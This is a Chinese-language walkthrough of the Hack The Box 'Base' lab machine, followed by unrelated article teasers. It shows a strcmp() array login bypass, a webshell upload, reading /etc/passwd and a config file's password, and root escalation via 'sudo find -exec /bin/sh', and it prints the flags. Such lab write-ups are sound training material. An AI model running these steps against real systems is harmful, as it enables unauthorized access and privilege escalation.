HTB:Base[WriteUP]

news2024/10/10 22:31:59

目录

连接至HTB服务器并启动靶机

1.Which two TCP ports are open on the remote host?

2.What is the relative path on the webserver for the login page?

3.How many files are present in the '/login' directory?

4.What is the file extension of a swap file?

5.Which PHP function is being used in the backend code to compare the user submitted username and password to the valid username and password?

6.In which directory are the uploaded files stored?

使用Yakit对登录页面进行抓包

7.Which user exists on the remote host with a home directory?

8.What is the password for the user present on the system?

9.What is the full path to the command that the user john can run as user root on the remote host?

尝试使用john账户以及密码对靶机进行SSH服务登录

10.What action can the find command use to execute commands?

Submit user flag

​编辑USER_FLAG:f54846c258f3b4612f78a819573d158e

Submit root flag

ROOT_FLAG:51709519ea18ab37dd6fc58096bea949


连接至HTB服务器并启动靶机

靶机IP:10.129.2.131

分配IP:10.10.16.12


1.Which two TCP ports are open on the remote host?

使用fscan对靶机进行端口扫描:

fscan -nopoc -nobr -no -h {TARGET_IP}

由fscan扫描结果可见,靶机开启了:22,80 共2个端口


2.What is the relative path on the webserver for the login page?

使用浏览器访问靶机URL,可在左上角看到Login按钮:

点击进入后,即可获得登录页面在服务器上的相对地址:/login/login.php


3.How many files are present in the '/login' directory?

直接使用浏览器访问/login目录:

可见该目录下有文件:config.php、login.php、login.php.swp,共3个文件


4.What is the file extension of a swap file?

在/login目录下,存在一个交换文件:

交换文件的后缀为:.swp


5.Which PHP function is being used in the backend code to compare the user submitted username and password to the valid username and password?

点击login.php.swp即可将该文件下载到本地,使用strings按格式查看该文件内容:

strings login.php.swp

b0VIM 8.0
root
base
/var/www/html/login/login.php
3210
#"!
                  <input type="text" name="username" class="form-control" style="max-width: 30%;" id="username" placeholder="Your Username" required>
                <div class="form-group">
              <div class="row" align="center">
            <form id="login-form" action="" method="POST" role="form" style="background-color:#f8fbfe">
          <div class="col-lg-12 mt-5 mt-lg-0">
        <div class="row mt-2">
        </div>
          <p>Use the form below to log into your account.</p>
          <h2>Login</h2>
        <div class="section-title mt-5" >
      <div class="container" data-aos="fade-up">
    <section id="login" class="contact section-bg" style="padding: 160px 0">
    <!-- ======= Login Section ======= -->
  </header><!-- End Header -->
    </div>
      </nav><!-- .navbar -->
        <i class="bi bi-list mobile-nav-toggle"></i>
        </ul>
          <li><a class="nav-link scrollto action" href="/login.php">Login</a></li>
          <li><a class="nav-link scrollto" href="/#contact">Contact</a></li>
          <li><a class="nav-link scrollto" href="/#pricing">Pricing</a></li>
          <li><a class="nav-link scrollto" href="/#team">Team</a></li>
          <li><a class="nav-link scrollto" href="/#services">Services</a></li>
          <li><a class="nav-link scrollto" href="/#about">About</a></li>
          <li><a class="nav-link scrollto" href="/#hero">Home</a></li>
        <ul>
      <nav id="navbar" class="navbar">
      <!-- <a href="index.html" class="logo"><img src="../assets/img/logo.png" alt="" class="img-fluid"></a>-->
      <!-- Uncomment below if you prefer to use an image logo -->
      <h1 class="logo"><a href="index.html">BASE</a></h1>
    <div class="container d-flex align-items-center justify-content-between">
  <header id="header" class="fixed-top">
  <!-- ======= Header ======= -->
<body>
</head>
  <link href="../assets/css/style.css" rel="stylesheet">
  <!-- Template Main CSS File -->
  <link href="../assets/vendor/swiper/swiper-bundle.min.css" rel="stylesheet">
  <link href="../assets/vendor/remixicon/remixicon.css" rel="stylesheet">
  <link href="../assets/vendor/glightbox/css/glightbox.min.css" rel="stylesheet">
  <link href="../assets/vendor/boxicons/css/boxicons.min.css" rel="stylesheet">
  <link href="../assets/vendor/bootstrap-icons/bootstrap-icons.css" rel="stylesheet">
  <link href="../assets/vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet">
  <link href="../assets/vendor/aos/aos.css" rel="stylesheet">
  <!-- Vendor CSS Files -->
  <link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i|Raleway:300,300i,400,400i,500,500i,600,600i,700,700i|Poppins:300,300i,400,400i,500,500i,600,600i,700,700i" rel="stylesheet">
  <!-- Google Fonts -->
  <link href="../assets/img/apple-touch-icon.png" rel="apple-touch-icon">
  <link href="../assets/img/favicon.png" rel="icon">
  <!-- Favicons -->
  <meta content="" name="keywords">
  <meta content="" name="description">
  <title>Welcome to Base</title>
  <meta content="width=device-width, initial-scale=1.0" name="viewport">
  <meta charset="utf-8">
<head>
<html lang="en">
<!DOCTYPE html>
    }
        print("<script>alert('Wrong Username or Password')</script>");
    } else {
        }
            print("<script>alert('Wrong Username or Password')</script>");
        } else {
            header("Location: /upload.php");
            $_SESSION['user_id'] = 1;
        if (strcmp($password, $_POST['password']) == 0) {
    if (strcmp($username, $_POST['username']) == 0) {
    require('config.php');
if (!empty($_POST['username']) && !empty($_POST['password'])) {
session_start();
<?php
</html>
</body>
  <script src="../assets/js/main.js"></script>

在代码的末尾部分,可见login.php使用的是strcmp()函数对字符串进行比较:


6.In which directory are the uploaded files stored?

通过代码审计,可以看到在账户、密码对比处:

使用的是简单的strcmp()函数进行对比,而且在结尾的判断等于用的是双等号而非三等号

那只需要在POST提交时将username、password这两个变量改成数组形式即可绕过验证

使用Yakit对登录页面进行抓包

修改请求包中的数据:

点击提交数据后,浏览器处就进入了文件上传页面:

对靶机进行目录扫描,查找文件上传后所在的目录:

gobuster dir --url http://{TARGET_IP}/ --wordlist big.txt

尝试访问/_uploaded目录,可以正常访问:

制作一个php文件上传,测试该路径是否为真实文件上传路径

<?php phpinfo(); ?>

将文件命名为test.php后,上传后点击刷新,文件已经出现在了目录中:

对test.php文件进行直接访问,发现文件可以被成功解析:


7.Which user exists on the remote host with a home directory?

使用哥斯拉生成一个Webshell:

将shell.php文件进行上传:

使用哥斯拉对shell.php进行连接:

进入哥斯拉的命令执行模块,查看/etc/passwd文件内容:

cat /etc/passwd

再查看目录权限:

ls -ld /home/john

可以看到john用户拥有主目录权限


8.What is the password for the user present on the system?

再查看config.php文件内容:

cat /var/www/html/login/config.php

账户:admin

密码:thisisagoodpassword


9.What is the full path to the command that the user john can run as user root on the remote host?

虽然上面config.php文件中显示的账户密码对应的是admin用户

但是考虑到主目录权限用户是john,所以这里的admin很可能和john是同一个人

尝试使用john账户以及密码对靶机进行SSH服务登录

ssh john@{TARGET_IP}

查看john用户可以使用sudo执行的命令:

sudo -l

通过结果可知,find命令允许我们sudo执行(root身份),完整路径:/usr/bin/find


10.What action can the find command use to execute commands?

推荐一个网站,这里可以找到二进制命令突破环境限制getshell的命令

网站地址:https://gtfobins.github.io

find命令可以使用exec来执行操作命令:

sudo find . -exec /bin/sh \; -quit

Submit user flag

通过john用户权限查找一下user.txt文件:

find / -name 'user.txt' 2>/dev/null

查看user.txt文件内容:

cat /home/john/user.txt

USER_FLAG:f54846c258f3b4612f78a819573d158e


Submit root flag

通过sudo执行find命令获取root权限:

sudo find . -exec /bin/sh \; -quit

查找一下root.txt文件位置:

find / -name 'root.txt' 2>/dev/null

查看root.txt文件内容:

cat /root/root.txt

ROOT_FLAG:51709519ea18ab37dd6fc58096bea949

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2203345.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

DeepACO:用于组合优化的神经增强蚂蚁系统解决TSP问题的代码阅读

总体概括 DeepACO与普通ACO不同的是将问题输入实例输入到一个训练的网络中&#xff0c;将网络训练成为一个类似于专家知识的模块&#xff0c;可以生成相应的启发式矩阵网络&#xff0c;从而省去相应的专家知识。 其中在训练网络的代码中&#xff1a; 是进行监督式训练通过trai…

虚幻引擎GAS入门学习笔记(一)

虚幻引擎GAS入门(一) Gameplay Ability System&#xff08;GAS&#xff09; 是一个模块化且强大的框架&#xff0c;用于管理虚幻引擎中的游戏玩法逻辑。它的核心组成部分包括 Gameplay Ability&#xff08;定义和执行能力&#xff09;、Gameplay Effect&#xff08;应用和管理…

数字安全新时代:聚焦关键信息基础设施安全保障——The Open Group 2024生态系统架构·可持续发展年度大会盛大来袭

在全球数字化转型的浪潮中&#xff0c;关键信息基础设施&#xff08;Critical Information Infrastructure&#xff0c;简称CII&#xff09;的安全保障已成为各国政府和企业共同关注的焦点。随着技术的飞速发展和网络威胁的日益复杂&#xff0c;如何构建高效、灵活且安全的数字…

“Flash闪存”基础 及 “SD NAND Flash”产品的测试介绍

目录 一、“FLASH闪存”是什么&#xff1f; 1. 简介 2. 分类 3. 特点 4. 虚拟化 二、SD NAND Flash 1. 概述 2. 特点 3. 引脚分配 4. 数据传输模式 5. SD NAND寄存器 6. 通电图 7. 参考设计 三、STM32测试例程 1. 初始化 2. 单数据块测试 3. 多数据块测试 4.…

SSD | (一)SSD综述

文章目录 &#x1f4da;SSD综述&#x1f407;SSD基本结构&#x1f407;SSD与HDD&#x1f407;SSD基本工作原理⭐SSD请求处理流程⭐SSD主要组成模块⭐SSD读写操作 &#x1f407;SSD产品核心指标⭐基本信息⭐性能指标⭐数据可靠性和寿命⭐功耗 &#x1f4da;可计算存储 &#x1f…

VueRouter前端路由

文章目录 VueRouter前端路由VueRouter 简介安装vuerouter配置router文件子路由路由重定向 VueRouter前端路由 VueRouter 简介 安装vuerouter npm install vue-router4yarn add vue-router4配置router文件 import { createRouter, createWebHistory } from vue-router; impor…

k8s--二进制包部署及常见报错解决方法

部署流程 所有基础流程见此教程&#xff0c;很详细&#xff1a; 从零搭建k8s集群 - 许大仙 - 博客园 (cnblogs.com) 记得在写配置文件时细心点&#xff0c;注意修改自己的ip地址&#xff0c;以及看在哪个主机上操作 这里记得写自己的token 常见报错及解决方法 我只在下边讲…

GDPU Vue前端框架开发 ecmascript6初步使用

前端框架基础&#xff0c;打造你的前端应用。 箭头函数 使用箭头函数实现求多个数的和&#xff0c;可以有一个参数&#xff0c;也可以有多个或零个参数。 let sum (...numbers) > {return numbers.reduce((acc, curr) > acc curr, 0);};let asum(); let bsum(1); let…

实战千问2大模型第五天——VLLM 运行 Qwen2-VL-7B(多模态)

一、简介 VLLM 是一种高效的深度学习推理库&#xff0c;通过PagedAttention算法有效管理大语言模型的注意力内存&#xff0c;其特点包括24倍的吞吐提升和3.5倍的TGI性能&#xff0c;无需修改模型结构&#xff0c;专门设计用于加速大规模语言模型&#xff08;LLM&#xff09;的…

生成对抗网络(GAN,Generative Adversarial Network)

生成对抗网络&#xff08;GAN&#xff0c;Generative Adversarial Network&#xff09;是一种深度学习模型&#xff0c;由两部分组成&#xff1a;生成器&#xff08;Generator&#xff09;和判别器&#xff08;Discriminator&#xff09;。生成器的目标是生成逼真的样本&#x…

Xinstall品牌揭秘:如何成为App拉新的行业翘楚?

在移动互联网时代&#xff0c;App作为连接用户与服务的桥梁&#xff0c;其重要性不言而喻。然而&#xff0c;随着市场竞争的加剧&#xff0c;App拉新&#xff08;即吸引新用户下载并使用App&#xff09;的难度也在逐渐增大。传统的营销方式往往面临着成本高、效率低、用户留存差…

理解PID(零)——什么是PID

PID控制器是一种广泛用于各种工业控制场合的控制器&#xff0c;它结构简单&#xff0c;可以根据工程经验整定参数Kp,Ki,Kd. 虽然现在控制专家提出了很多智能的控制算法&#xff0c;比如神经网络&#xff0c;模糊控制等&#xff0c;但是PID仍然被广泛使用。常见的PID控制器有位置…

视频怎么转gif动图?5个简单转换方法快来学(详细教程)

相信大家在社交平台上会经常看到一些有趣的gif动图表情包&#xff0c;有些小伙伴就会问&#xff1a;这些GIF动图是如何制作的呢&#xff1f;一般GIF动图表情包可以用视频来制作&#xff0c;今天小编就来给大家分享几个视频转成GIF动图的方法&#xff0c;相信通过以下的几个方法…

文献阅读CONCH模型--相关知识点罗列

文章链接&#xff1a;A visual-language foundation model for computational pathology | Nature MedicineThe accelerated adoption of digital pathology and advances in deep learning have enabled the development of robust models for various pathology tasks across…

【可答疑】基于51单片机的智能家居系统(含仿真、代码、报告、演示视频等)

✨哈喽大家好&#xff0c;这里是每天一杯冰美式oh&#xff0c;985电子本硕&#xff0c;大厂嵌入式在职0.3年&#xff0c;业余时间做做单片机小项目&#xff0c;有需要也可以提供就业指导&#xff08;免费&#xff09;~ &#x1f431;‍&#x1f409;这是51单片机毕业设计100篇…

ceph基础

ceph基础搭建 存储基础 传统的存储类型&#xff1a; DAS设备&#xff1a; SAS,SATA,SCSI,IDW,USB 无论是那种接口&#xff0c;都是存储设备驱动下的磁盘设备&#xff0c;而磁盘设备其实就是一种存储是直接接入到主板总线上去的。直连存储。 NAS设备: NFS CIFS FTP 几乎所有的…

商标恶意维权形式及应对策略

在商业领域&#xff0c;商标恶意维权的现象时有出现&#xff0c;给正常的市场秩序和企业经营带来了不良影响。以下将介绍其常见形式及应对方法。 一、商标恶意维权的形式1、囤积商标后恶意诉讼。一些人或企业大量注册与知名品牌相似或具有一定通用性的商标&#xff0c;并非用于…

留学生毕业论文设计问卷questionnaire的基本步骤

在上一期内容中&#xff0c;小编介绍了留学毕业论文的定量研究和相关的问卷设计。然而在一些研究中&#xff0c;定量研究和问卷数据并不能满足我们的研究需求。这种情况下&#xff0c;我们可以采取其他的数据收集方式&#xff0c;例如observation&#xff0c;case study和inter…

软件设计之SSM(11)

软件设计之SSM(11) 路线图推荐&#xff1a; 【Java学习路线-极速版】【Java架构师技术图谱】 尚硅谷新版SSM框架全套视频教程&#xff0c;Spring6SpringBoot3最新SSM企业级开发 资料可以去尚硅谷官网免费领取 学习内容&#xff1a; Springboot 配置文件整合SpringMVC整合Dr…

【学术会议征稿】第十届能源资源与环境工程研究进展国际学术会议(ICAESEE 2024)

第十届能源资源与环境工程研究进展国际学术会议&#xff08;ICAESEE 2024&#xff09; 2024 10th International Conference on Advances in Energy Resources and Environment 第十届能源资源与环境工程研究进展国际学术会议&#xff08;ICAESEE 2024&#xff09;定于2024年…